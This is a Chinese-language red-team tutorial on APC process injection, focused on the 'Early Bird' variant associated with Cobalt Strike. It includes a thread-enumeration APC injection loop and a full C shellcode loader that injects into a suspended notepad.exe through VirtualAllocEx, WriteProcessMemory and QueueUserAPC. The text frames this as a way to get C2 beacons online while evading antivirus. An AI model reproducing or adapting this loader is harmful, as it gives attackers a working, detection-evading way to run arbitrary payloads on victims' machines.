序
APC注入在前面的章节已经给大家讲过,基本原理也是老生常谈的内容了:
APC注入可以让一个线程在它正常的执行路径运行之前执行一些其他的代码,每一个线程都有一个附加的APC队列,他们在线程处于可警告的时候才被处理;如果程序在线程可警告等待状态时候排入一个APC队列,那么线程将开始执行APC函数,恶意代码则可以设置APC函数抢占可警告等待状态的线程。
但是线程什么时候处于可警告的状态是不可控的,所以在此前的程序中,我们为了保障shellcode或DLL被执行,我们遍历了目标进程中的所有线程,向所有线程中均进行了APC注入,以提高上线率,但是实际使用途中,会有几个问题:
- 会导致上线时间不可控(程序执行后主机上线间隔时间不固定)
- 上线次数不可控(每个线程中的shellcode被运行一次就会上线一次,实战过程中一般会上线2-3次)
- 不能保证免杀(此前的程序主要目的为进程注入,没有考虑免杀效果,实战过程中会有偶发被查杀的现象)
- DLL文件落地&目标进程新增模块(此前程序为使用APC注入DLL文件到目标进程中,需将DLL文件落地,而且查看目标进程的模块列表可看到DLL文件)
Cobalt Strike如何利用APC
在19年Cobalt Strike3.14发布时,即引入APC注入功能:
注:在此CS也引用了“Early Bird”的概念,并提到只能注入到Suspended(挂起)进程
函数介绍
我们本次使用的函数:QueueUserAPC
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //指向应用程序提供的APC函数的指针(注入的DLL句柄或shellcode地址)
[in] HANDLE hThread, //目标线程的句柄
[in] ULONG_PTR dwData //传递给pfnAPC参数指向的APC函数的单个值(VirtualAllocEx函数返回)
);
我们可以先来回顾下上次的程序代码:
显然,上次的程序是将messagebox.dll
注入到calc.exe
进程中,有免杀基础的同学就可以将LoadLibraryW
修改为加载shellcode
,这里没太大区别,无非就是有没有新增模块。
//开始注入
THREADENTRY32 te = { sizeof(THREADENTRY32) };
//得到线程快照
HANDLE handleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
BOOL bStat = FALSE;
//得到第一个线程
if (Thread32First(handleSnap, &te)) {
do {
//进行进程ID对比
if (te.th32OwnerProcessID == dwProcessId) {
//得到线程句柄
HANDLE handleThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
if (handleThread) {
//向线程插入APC
DWORD dwRet = QueueUserAPC((PAPCFUNC)LoadLibraryW, handleThread, (ULONG_PTR)lpData);
if (dwRet > 0) {
bStat = TRUE;
}
//关闭句柄
CloseHandle(handleThread);
}
}
}
//循环下一个线程
while (Thread32Next(handleSnap, &te));
}
OK,现在开始本篇的重头戏“Early Bird”
我们在前面提到CS的描述中说到,“Early Bird”注入目标只能为Suspended(挂起)进程
Early bird利用
- 创建一个挂起的正常进程,例如nostpad.exe、svchost.exe
- 从这个挂起的进程中申请可写可执行的内存空间
- 将shellcode写入目标内存空间
- 进行APC注入,将shellcode注入到目标进程的主线程中
- 恢复该挂起的进程
进程恢复后,首先会运行其主线程,即运行shellcode。
#include <Windows.h>
int main()
{
unsigned char buf[] = "\x00\x00";
SIZE_T shellSize = sizeof(buf);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
return 0;
}
至于为什么会免杀,就不太清楚了,函数还是哪些高危函数,申请内存空间,写内存之类的。但是实际测试过程几家杀软也确实毫无反应。